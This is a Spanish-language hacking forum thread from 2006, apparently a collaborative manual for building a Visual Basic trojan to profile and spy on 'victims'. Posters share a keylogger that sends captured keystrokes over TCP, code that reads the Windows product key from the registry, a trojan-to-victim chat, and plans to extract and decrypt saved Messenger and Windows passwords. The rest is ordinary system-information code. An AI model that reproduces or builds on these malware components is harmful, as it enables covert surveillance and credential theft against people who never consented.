 Autor
|
Tema: troyano en vb desde CERO, INDICE de contenidos en la primera pagina, GranManual (Leído 110,115 veces)
|
|
songecko
|
El manual de la primera página, que hizo Fulano, no explica otra cosa que lo que esta en la primera pagina de este post. O sea, si lees la primera y la segunda pagina, va a ser lo mismo que leas el manual. Se entiende?
Igual, te recomiendo (por si no lo hiciste), que te leas todas las paginas que hay. Vas a aprender bastante, te lo aseguro. Y ademas, despues vas a poder postear informacion que todavia no se difundio en este hilo.
|
|
|
|
|
En línea
|
|
|
|
|
songecko
|
Estoy incluyendo en mi troyano una opcion para sacar informacion de la PC, de la victima. Algo asi como hacen muchos troyanos. O sea, saber que version de windows tiene, donde se encuentra el directorio system, temp, windows. Cuanto tiempo estuvo la PC prendida. Y ese tipo de cosas. Estuve investigando y muchas cosas pude conseguirlas sin problemas. Lo explicaré en los proximos post.
Estaria bueno, que entre todos, busquemos, investiguemos y nos ayudemos a encontrar este tipo de informacion. Ya que de esta forma, podriamos tener algo muy completo. Y un verdadero troyano creo que deberia de tener estas cosas.
Bueno, entonces el que quiere aportar, que aporte. La idea basicamente es usar funciones que nos devuelvan algun tipo de informacion de la PC de la victima. Las cosas que se me ocurren son:
- Informacion sobre Windows:
- Version de windows. (Pagina 37)
- Clave del producto. (Pagina 37)
- Idioma.
- Directorios principales (System, Temp, Windows) (Pagina 37)
- Directorios de perfiles (los que se encuentran en Documents and settings) (Pagina 37)
- Informacion sobre la PC:
- Nombre de la PC. (Pagina 37)
- Nombre de usuario actual. (Pagina 37)
- Informacion del procesador. (Pagina 37)
- Informacion de la memoria. (Pagina 37)
- Velocidad de la CPU.
- Tiempo que esta prendida. (Pagina 37)
- Contraseñas: (importante!!)
- contraseñas de conexion a internet.
- contraseñas de cada usuario de windows.
- contraseñas que guarda IE, hotmail y algun otro programa
Lo que puse en rojo significa que son las cosas que todavia no se explicaron en este manual. Y que van a ser explicadas. la mayoria de ellas ya se como se hacen, y en estos dias voy a publicarlo. A medida que se vayan explicando, las voy a poner en verde. Asimismo, esta lista se ira expandiendo, si a alguno le surge una idea.
Lo que mas me interesa por ahora es lo de las contraseñas, si alguien sabe o puede investigar mas que yo, estaria bueno.
Hasta el proximo post! SAludos
|
|
|
|
« Última modificación: 6 Noviembre 2006, 04:18 por songecko »
|
En línea
|
|
|
|
Zymeth
 Desconectado
Mensajes: 1
|
Hola , Soy nuevo y tengo bastantes dudas. 1- No entiendo como funciona este keylogger publicado en el foro 'En Un Modulo Coloken Esto!!!!!!!!!!!!!!!!!!!!!!! Public Const DT_CENTER = &H1 Public Const DT_WORDBREAK = &H10 Type RECT Left As Long Top As Long Right As Long Bottom As Long End Type Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long Global Cnt As Long, sSave As String, sOld As String, Ret As String Dim Tel As Long Function GetPressedKey() As String For Cnt = 32 To 128 If GetAsyncKeyState(Cnt) <> 0 Then GetPressedKey = Chr$(Cnt) Exit For End If Next Cnt End Function Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) Ret = GetPressedKey If Ret <> sOld Then sOld = Ret sSave = sSave + sOld End If End Sub ' en el formulario Private Sub Form_Load() Me.Caption = "KeyLooger 1.0 - Cicklow SOFT®" SetTimer Me.hwnd, 0, 1, AddressOf TimerProc End Sub Private Sub Form_Paint() Dim R As RECT Const mStr = "Ejecute otra aplicacion, y precione las teclas que liera, luego cierre este programa y vera las teclas que usted presiono!" Me.Cls Me.ScaleMode = vbPixels SetRect R, 0, 0, Me.ScaleWidth, Me.ScaleHeight DrawTextEx Me.hDC, mStr, Len(mStr), R, DT_WORDBREAK Or DT_CENTER, ByVal 0& End Sub Private Sub Form_Resize() Form_Paint End Sub Private Sub Form_Unload(Cancel As Integer) KillTimer Me.hwnd, 0 'Al cerrar el form enviamos los datos. tcpSERVER.SendData sSave End Sub 2- El chat con la victima no entiendo que botones tengo que crear. En el cliente Private Sub Back_Click() Unload Me Todo.Show End Sub Private Sub buttenviar_Click() ModEnviar.enviar "chate" & Chr(145) & nick.Text & Chr(145) & enviar.Text & Chr(145) chat.Text = chat.Text & nick.Text & "> " & enviar.Text & vbCrLf enviar.Text = "" enviar.SetFocus chat.SelStart = Len(chat.Text) End Sub Private Sub buttcerrar_Click() ModEnviar.enviar "chate" & Chr(145) & nick.Text & Chr(145) & "closeChat" & Chr(145) chat.Text = chat.Text & nick.Text & "> Thundercom: Chat del servidor cerrado" End Sub Private Sub enviar_KeyPress(KeyAscii As Integer) If KeyAscii = 13 Then buttenviar_Click End Sub y en el sv: Private Sub enviar_Click() ModEnviar.enviar "chate" & Chr(145) & mensaje.Text chat.Text = chat.Text & "Tu> " & mensaje.Text & vbCrLf mensaje.Text = "" mensaje.SetFocus chat.SelStart = Len(chat.Text) End Sub Private Sub mensaje_KeyPress(KeyAscii As Integer) If KeyAscii = 13 Then enviar_Click End Sub 3- Alugien sabe como abrir y cerra el cd - room de la victima. MI MSN ZYMETH_AO@HOTMAIL.COMPorfas  |
|
|
|
|
En línea
|
|
|
|
|
songecko
|
Zymeth, veo que no sabes muchas cosas fundamentales de Visual Basic, como agregar botones, y saber sus eventos. Te podria explicar lo que preguntas, pero no terminarias aprendiendo bien. Y seguro que vas a tener el doble de dudas que ahora. Por eso, creo yo que lo mejor es que leas algun buen tutorial de Visual Basic, como para que tengas una buena idea de como se programa. Y despues vas a ver que vas a leer de nuevo el codigo que mandaste y lo vas a entender. Vas a entender ese codigo y muchos mas. Te dejo una pagina en donde vas a poder aprender desde cero, visual basic: http://www.elguille.info/vb/cursos_vb/basico/indice.htmSuerte!! |
|
|
|
|
En línea
|
|
|
|
fisho
Desconectado
Mensajes: 1
|
hola a todos.... despues de investigar mucho por el internet en especial en este foro, he conseguido realizar mi primer troyano.. se llama APODERADO, proximamente les envio para que lo chequen, tiene las funciones principales.... actualmente estoy realizando una nueva version con conexion inversa... le doy los ultimos toques y se los paso bie bie
|
|
|
|
|
En línea
|
|
|
|
|
songecko
|
SABER LA VERSION DE WINDOWS Bueno aca les voy a enseñar como saber que version de windows se esta usando. Ustedes la pueden implementar en su troyano. Primero declarar esto en un modulo: 'Declaraciones
Public Declare Function GetVersionExA Lib "kernel32" (lpVersionInformation As OSVERSIONINFO) As Integer
'Tipo de dato que despues se va a usar
Public Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
'--------------------------------- Muy bien, ahora esta funcion, que tambien la podemos poner en un modulo: '//-- Devuelve la version de windows usada
Public Function GetWindowsVersion() As String
Dim OSInfo As OSVERSIONINFO
Dim Ret As Integer
OSInfo.dwOSVersionInfoSize = 148
OSInfo.szCSDVersion = Space$(128)
Ret = GetVersionExA(OSInfo)
With OSInfo
Select Case .dwPlatformId
Case 1
If .dwMinorVersion < 10 Then
If .dwBuildNumber = 950 Then
GetWindowsVersion = "Windows 95"
ElseIf .dwBuildNumber > 950 Or .dwBuildNumber <= 1080 Then
GetWindowsVersion = "Windows 95 SP1"
Else
GetWindowsVersion = "Windows 95 OSR2"
End If
ElseIf .dwMinorVersion = 10 Then
If .dwBuildNumber = 1998 Then
GetWindowsVersion = "Windows 98"
ElseIf .dwBuildNumber > 1998 Or .dwBuildNumber < 2183 Then
GetWindowsVersion = "Windows 98 SP1"
ElseIf .dwBuildNumber >= 2183 Then
GetWindowsVersion = "Windows 98 SE"
End If
Else
GetWindowsVersion = "Windows ME"
End If
Case 2
If .dwMajorVersion = 3 Then
GetWindowsVersion = "Windows NT 3.51"
ElseIf .dwMajorVersion = 4 Then
GetWindowsVersion = "Windows NT 4.0"
ElseIf .dwMajorVersion = 5 Then
If .dwMinorVersion = 0 Then
GetWindowsVersion = "Windows 2000"
Else
GetWindowsVersion = "Windows XP"
End If
End If
Case Else
GetWindowsVersion = "Desconocida"
End Select
End With
End Function
Listo, ahora para saber que version de windows se usa, se llama a esa funcion, que va a devolver un string, con el nombre del Sistema Operativo usado. YA pongo en verde, en la lista de esta pagina, lo de la version de windows. Queda por explicar las demas cosas. Espero que alguno pueda aportar algo. Ya que no se como se hacen algunas cosas. Espero que les sirva. Saludos!!
|
|
|
|
« Última modificación: 28 Octubre 2006, 12:34 por songecko »
|
En línea
|
|
|
|
|
~~
|
Mirad asi se puede obtener bastante informacion sobre el Pc, como el procesador, la memoria, la version... En un Form: Private Sub Form_Load()
Dim msg As String
MousePointer = 11
Dim verinfo As OSVERSIONINFO
verinfo.dwOSVersionInfoSize = Len(verinfo)
ret% = GetVersionEx(verinfo)
If ret% = 0 Then
MsgBox "Error Obteniendo Information de la Version"
End
End If
Select Case verinfo.dwPlatformId
Case 0
msg = msg + "Windows 32s "
Case 1
msg = msg + "Windows 95 "
Case 2
msg = msg + "Windows NT "
End Select
ver_major$ = verinfo.dwMajorVersion
ver_minor$ = verinfo.dwMinorVersion
build$ = verinfo.dwBuildNumber
msg = msg + ver_major$ + "." + ver_minor$
msg = msg + " (Construido " + build$ + ")" + vbCrLf + vbCrLf
Dim sysinfo As SYSTEM_INFO
GetSystemInfo sysinfo
msg = msg + "CPU: "
Select Case sysinfo.dwProcessorType
Case PROCESSOR_INTEL_386
msg = msg + "Procesador Intel 386 o compatible." + vbCrLf
Case PROCESSOR_INTEL_486
msg = msg + "Procesador Intel 486 o compatible." + vbCrLf
Case PROCESSOR_INTEL_PENTIUM
msg = msg + "Procesador Intel Pentium o compatible." + vbCrLf
Case PROCESSOR_MIPS_R4000
msg = msg + "Procesador MIPS R4000." + vbCrLf
Case PROCESSOR_ALPHA_21064
msg = msg + "Procesador DEC Alpha 21064." + vbCrLf
Case Else
msg = msg + "Procesador (desconocido)." + vbCrLf
End Select
msg = msg + vbCrLf
Dim memsts As MEMORYSTATUS
Dim memory&
GlobalMemoryStatus memsts
memory& = memsts.dwTotalPhys
msg = msg + "Memoria Fisica Total: "
msg = msg + Format$(memory& \ 1024, "###,###,###") + "Kb" + vbCrLf
memory& = memsts.dwAvailPhys
msg = msg + "Memoria Fisica Disponible: "
msg = msg + Format$(memory& \ 1024, "###,###,###") + "Kb" + vbCrLf
memory& = memsts.dwTotalVirtual
msg = msg + "Memoria Virtual Total: "
msg = msg + Format$(memory& \ 1024, "###,###,###") + "Kb" + vbCrLf
memory& = memsts.dwAvailVirtual
msg = msg + "Memoria Virtual Disponible: "
msg = msg + Format$(memory& \ 1024, "###,###,###") + "Kb" + vbCrLf + vbCrLf
MsgBox msg, 0, "Acerca del Sistema"
MousePointer = 0
End
End Sub
En un modulo: Type SYSTEM_INFO
dwOemID As Long
dwPageSize As Long
lpMinimumApplicationAddress As Long
lpMaximumApplicationAddress As Long
dwActiveProcessorMask As Long
dwNumberOrfProcessors As Long
dwProcessorType As Long
dwAllocationGranularity As Long
dwReserved As Long
End Type
Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
Type MEMORYSTATUS
dwLength As Long
dwMemoryLoad As Long
dwTotalPhys As Long
dwAvailPhys As Long
dwTotalPageFile As Long
dwAvailPageFile As Long
dwTotalVirtual As Long
dwAvailVirtual As Long
End Type
Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (LpVersionInformation As OSVERSIONINFO) As Long
Declare Sub GlobalMemoryStatus Lib "kernel32" (lpBuffer As MEMORYSTATUS)
Declare Sub GetSystemInfo Lib "kernel32" (lpSystemInfo As SYSTEM_INFO)
Public Const PROCESSOR_INTEL_386 = 386
Public Const PROCESSOR_INTEL_486 = 486
Public Const PROCESSOR_INTEL_PENTIUM = 586
Public Const PROCESSOR_MIPS_R4000 = 4000
Public Const PROCESSOR_ALPHA_21064 = 21064
Lo e sacado de un programa q tiene recopilados un monton de trucos de VB  1S4ludo |
|
|
|
|
En línea
|
|
|
|
|
~~
|
Y aki dos funciones mas para ver el espacio en diso duro y alguna de sus caracteristicas: 'Calcular el espacio total y espacio libre de una Unidad de disco
'Crear un módulo y escribir:
Declare Function GetDiskFreeSpace Lib "kernel32" Alias "GetDiskFreeSpaceA"_
(ByVal lpRootPathName As String, lpSectorsPerCluster As Long, lpBytesPerSector_
As Long, lpNumberOfFreeClusters As Long, lpTtoalNumberOfClusters As Long) As Long
'Crear 7 Labels
'Escribir el código siguiente:
Private Sub Form_Load()
Dim I1 As Long
Dim I2 As Long
Dim I3 As Long
Dim I4 As Long
Dim Unidad As String
Unidad = "C:/"
GetDiskFreeSpace Unidad, I1, I2, I3, I4
Label1.Caption = Unidad
Label2.Caption = I1 & " Sectores por cluster"
Label3.Caption = I2 & " Bytes por sector"
Label4.Caption = I3 & " Número de clusters libres"
Label5.Caption = I4 & " Número total de clusters"
Label6.Caption = "Espacio total en disco: " & (I1 * I2 * I4)
Label7.Caption = "Espacio libre en disco: " & (I1 * I2 * I3)
End Sub
'Este código vale igualmente para los CD-ROM y disquetes. La letra
'de la unidad puede estar en letra minúscula o mayúscula.
'Como ver la capacidad de un disco y el espacio libre
'Crear un nuevo proyecto en Visual Basic, por defecto será form1
'Añadir un control Text Box, en propiedades Multiline fijar en True
'Añadir un control Command Button
'Añadir el siguiente codigo al evento click del control Command1
Private Sub Command1_Click()
Dim X As Long
X = GetDiskSpace("c:\")
If X Then
sFreeSpace = Format$(CurrentDisk.FreeBytes, "###,###,##0")
sTotalSpace = Format$(CurrentDisk.TotalBytes, "###,###,##0")
sFreePcnt = Format$(CurrentDisk.FreePcnt, "Percent")
sUsedPcnt = Format$(CurrentDisk.UsedPcnt, "Percent")
End If
Text1.Text = "Espacio libre: " & sFreeSpace & " Porcentaje: " & sFreePcnt & Chr(13) & Chr(10)
Text1.Text = Text1.Text & "Espacio Total: " & sTotalSpace & " Porcentaje: " & sUsedPcnt
End Sub
'Crear una función y llamarla GetDiskSpace.
'Añadir el siguiente codigo
Function GetDiskSpace(sRootPathName As String) As Long
Dim X As Long
Dim lSectorsPerCluster As Long, lBytesPerSector As Long
Dim lNumberOfFreeClusters As Long, lTotalNumberOfClusters As Long
X = GetDiskFreeSpace(sRootPathName, lSectorsPerCluster, lBytesPerSector, lNumberOfFreeClusters, lTotalNumberOfClusters)
GetDiskSpace = X
If X Then
CurrentDisk.RootPath = sRootPathName
CurrentDisk.FreeBytes = lBytesPerSector * lSectorsPerCluster * lNumberOfFreeClusters
CurrentDisk.TotalBytes = lBytesPerSector * lSectorsPerCluster * lTotalNumberOfClusters
CurrentDisk.FreePcnt = (CurrentDisk.TotalBytes - CurrentDisk.FreeBytes) / CurrentDisk.TotalBytes
CurrentDisk.UsedPcnt = CurrentDisk.FreeBytes / CurrentDisk.TotalBytes
Else
CurrentDisk.RootPath = ""
CurrentDisk.FreeBytes = 0
CurrentDisk.TotalBytes = 0
CurrentDisk.FreePcnt = 0
CurrentDisk.UsedPcnt = 0
Exit Function
End If
End Function
'Desde Visual Basic, seleccionar agregar modulo, por defecto será module1.bas
'Añadir el siguiente codigo
Declare Function GetDiskFreeSpace Lib "kernel32" Alias "GetDiskFreeSpaceA" (ByVal lpRootPathName As String, lpSectorsPerCluster As Long, lpBytesPerSector As Long, lpNumberOfFreeClusters As Long, lpTotalNumberOfClusters As Long) As Long
Type DISKSPACEINFO
RootPath As String * 3
FreeBytes As Long
TotalBytes As Long
FreePcnt As Single
UsedPcnt As Single
End Type
Global CurrentDisk As DISKSPACEINFO
Espero q os sirva |
|
|
|
|
En línea
|
|
|
|
|
~~
|
Y asi se optienen los directorios de windows y de system32 (sacado de esta misma pagina en la secion de trucos VB: En un módulo copiar estas líneas:
Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA"_
(ByVal lpBuffer As String, ByVal nSize As Long) As Long
Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA"_
(ByVal lpBuffer As String, ByVal nSize As Long) As Long
Ponga dos Labels o etiquetas y un botón en el formulario:
Label1, Label2, Command1
Hacer doble click sobre el botón y escribir el código siguiente:
Private Sub Command1_Click()
Dim Car As String * 128
Dim Longitud, Es As Integer
Dim Camino As String
Longitud = 128
Es = GetWindowsDirectory(Car, Longitud)
Camino = RTrim$(LCase$(Left$(Car, Es)))
Label1.Caption = Camino
Es = GetSystemDirectory(Car, Longitud)
Camino = RTrim$(LCase$(Left$(Car, Es)))
Label2.Caption = Camino
End Sub Y aki como obtener el ombre del akipo (tb de esta pagina): Cree un nuevo proyecto e inserte dos ButtonClick y un Módulo:
Pegue el siguiente código en el formulario:
Private Sub Command1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Dim nPC as String
Dim buffer As String
Dim estado As Long
buffer = String$(255, " ")
estado = GetComputerName(buffer, 255)
If estado <> 0 Then
nPC = Left(buffer, 255)
End If
MsgBox "Nombre del PC: " & nPC
End Sub
Private Sub Command2_Click()
Unload Form1
End Sub
Pegue el siguiente código en el módulo:
Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA"
(ByVal lpBuffer As String, nSize As Long) As Long Si la cosa es buscar... |
|
|
|
|
En línea
|
|
|
|
TUNOVATO
Desconectado
Mensajes: 56
|
saludos;
Tengo un dudilla como se puede saber si el pc a ser infectado tiene o no tiene webcam instalada...!!!
Se puede en vez de capturar la webcam por fotogramas en video streming (video real de la webcam..!!!)
disculpen mi ingnorancia en el tema....!!!!!
atentamente...
agradeciendo a quien me lo pueda informar...!!!
|
|
|
|
|
En línea
|
|
|
|
|
songecko
|
Gracias EON, ya modifique el indice. Cada vez faltan menos cosas y ya vamos a tener en nuestro troyano bastente informacion de la victima.
A ver quien se anima y da alguna pista de como sacar las demas cosas.
|
|
|
|
|
En línea
|
|
|
|
Snort
Desconectado
Mensajes: 337
Anti-feixista
|
Weno va, ya qe yo aun no he colaborao en este gran manual os dejo un codigo para sacar la clave de producto de Windows, por si qereis hacerle la cabronada a alguien qe compre Windows original xDD: ' En el general:
'Sacar la clave de Windows
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long ' Note that If you declare the lpData parameter as String, you must pass it By Value.
Private Const REG_BINARY = 3
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const ERROR_SUCCESS = 0&
Public Function sGetXPCDKey() As String
Dim bDigitalProductID() As Byte
Dim bProductKey() As Byte
Dim ilByte As Long
Dim lDataLen As Long
Dim hKey As Long
If RegOpenKey(HKEY_LOCAL_MACHINE, "SOFTWARE\MICROSOFT\Windows NT\CurrentVersion", hKey) = ERROR_SUCCESS Then
lDataLen = 164
ReDim Preserve bDigitalProductID(lDataLen)
If RegQueryValueEx(hKey, "DigitalProductId", 0&, REG_BINARY, bDigitalProductID(0), lDataLen) = ERROR_SUCCESS Then
ReDim Preserve bProductKey(14)
For ilByte = 52 To 66
bProductKey(ilByte - 52) = bDigitalProductID(ilByte)
Next ilByte
Else
sGetXPCDKey = ""
Exit Function
End If
Else
sGetXPCDKey = ""
Exit Function
End If
Dim bKeyChars(0 To 24) As Byte
bKeyChars(0) = Asc("B")
bKeyChars(1) = Asc("C")
bKeyChars(2) = Asc("D")
bKeyChars(3) = Asc("F")
bKeyChars(4) = Asc("G")
bKeyChars(5) = Asc("H")
bKeyChars(6) = Asc("J")
bKeyChars(7) = Asc("K")
bKeyChars(8) = Asc("M")
bKeyChars(9) = Asc("P")
bKeyChars(10) = Asc("Q")
bKeyChars(11) = Asc("R")
bKeyChars(12) = Asc("T")
bKeyChars(13) = Asc("V")
bKeyChars(14) = Asc("W")
bKeyChars(15) = Asc("X")
bKeyChars(16) = Asc("Y")
bKeyChars(17) = Asc("2")
bKeyChars(18) = Asc("3")
bKeyChars(19) = Asc("4")
bKeyChars(20) = Asc("6")
bKeyChars(21) = Asc("7")
bKeyChars(22) = Asc("8")
bKeyChars(23) = Asc("9")
Dim nCur As Integer
Dim sCDKey As String
Dim ilKeyByte As Long
Dim ilBit As Long
For ilByte = 24 To 0 Step -1
nCur = 0
For ilKeyByte = 14 To 0 Step -1
nCur = nCur * 256 Xor bProductKey(ilKeyByte)
bProductKey(ilKeyByte) = Int(nCur / 24)
nCur = nCur Mod 24
Next ilKeyByte
sCDKey = Chr(bKeyChars(nCur)) & sCDKey
If ilByte Mod 5 = 0 And ilByte <> 0 Then sCDKey = "-" & sCDKey
Next ilByte
sGetXPCDKey = sCDKey
End Function
' Y luegooo.....
private sub form_load
me.caption = sGetXPCDKey
end sub
Que bello codigo!!! Otra cosa, EON para sacar las rutas de de windows y de sistema es mas facil: Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0) 'Karpeta Windows
Set sys = obj.GetSpecialFolder(1) 'Karpeta System32
Set temp = obj.GetSpecialFolder(2) 'Karpeta arxivos temporales
y luego: private sub form_load
label1.caption = win
label2.caption = sys
label3.caption = temp
end sub
Saludosss |
|
|
|
|
En línea
|
 Ska, ska, ska, ska |
|
|
Snort
Desconectado
Mensajes: 337
Anti-feixista
|
Para sacar el tiempo de la pc encendida, en un modulo: Option Explicit
'Para sacar el tiempo encendido
Public Declare Function timeGetSystemTime Lib "winmm.dll" (lpTime As MMTIME, ByVal uSize As Long) As Long
Type smpte
hour As Byte
min As Byte
sec As Byte
frame As Byte
fps As Byte
dummy As Byte
pad(2) As Byte
End Type
Type MMTIME
wType As Long
units As Long
smtpeVal As smpte
songptrpos As Long
End Type Y para verlo: Private sub command1_click 'Tiempo encendido
Dim t As MMTIME, j As Long
Dim H As Double, m As Double, s As Double
j = timeGetSystemTime(t, LenB(t))
H = (t.units / 1000) / 60 / 60
m = (H - Int(H)) * 60
s = (m - Int(m)) * 60
Text1.text = "Tiempo encendido: " & Int(H) & " horas, " & Int(m) & " minutos, y " & Int(s) & "segundos"
End sub
|
|
|
|
« Última modificación: 5 Noviembre 2006, 13:51 por Snort »
|
En línea
|
Ska, ska, ska, ska |
|
|
Snort
Desconectado
Mensajes: 337
Anti-feixista
|
Para sacar la carpeta de escritorio, de mis documentos favoritos, etc... (Documents ad settings) En un formulario nuevo: Private Sub Form_Load()
Snort = Environ("HOMEDRIVE")
nombre = Environ("USERNAME")
escri2 = Environ("HOMEPATH")
escri = Snort & escri2 & "\Escritorio"
MsgBox "El nombre del usuario es: " & nombre & vbNewLine & " " & vbNewLine & "La ruta del escritorio es: " & escri
End Sub
Esto es para sacar la ruta del escritorio, si en la variable de escri cambiamos "\Escritorio" por Favoritos, o por Mis documentos o lo qe sea, pues ya lo tenemos. PD:Se me a olvidao declarar las variables (si se usa el option explicit, muy remoendado): Dim Snort As String
Dim nombre As String
Dim escri As String
Dim escri2 As String ___________________________________________________ Para sacar el nombre de usuario activo y del pc, unicamente hay qe mirar en el registro (el usuario tambie se saca facil usando el codigo de antes, environ): Private sub form_load
Set reg = CreateObject("WScript.Shell")
username = reg.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName")
pcname = reg.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultDomainName")
text1.text = "Usuario: " & username & " Nombre del pc: " & pcname
end sub
_____________________________________________________ Hay qe decir qe en el registro, hay muchiiisima informacion interesante, tambien se puedes sacar las passwords del messenger (Desde el 7.5, hacia abajo, en el msn 8 no lo he probao , y las del plus no salen, o estan en otra ruta), pero el problema es qe estan encriptadas, asi qe habra qe seguir bucando... PD: Las passwords de los usuarios del pc tambien estan el el registro, y tambien estan encriptadas, hace falta sacarlas con algo parecido al codigo qe he puesto antes para sacar a clave de windows Saludos |
|
|
|
|
En línea
|
Ska, ska, ska, ska |
|
|
|
songecko
|
Muchas gracias por los codigos Snort, ya puse en verde en el indice, todo lo que aportaste.
LO de la contraseña lo estoy viendo. Sabia que se encuentra en el registro, pero el problema siempre es desencriptarla. Con algun programita se que se hace facil, pero la idea es hacerlo desde visual basic, para que nuestro trayano, solito, agarre el pass del registro y la desencripte.
Otra cosa mas, la clave del messenger 7.5 donde se encuentra??
|
|
|
|
|
En línea
|
|
|
|
|
 |
